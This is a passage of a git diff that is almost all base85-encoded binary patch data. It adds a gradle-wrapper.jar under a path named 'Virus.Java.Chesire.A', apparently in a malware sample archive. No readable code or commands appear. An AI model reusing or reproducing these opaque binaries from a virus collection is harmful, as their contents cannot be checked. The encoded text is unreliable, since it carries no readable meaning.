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 literal 0 HcmV?d00001 diff --git a/Java/Virus.Java.Chesire.A/gradle/wrapper/gradle-wrapper.jar b/Java/Virus.Java.Chesire.A/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000000000000000000000000000000000..87b738cbd051603d91cc39de6cb000dd98fe6b02 GIT binary patch literal 55190 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 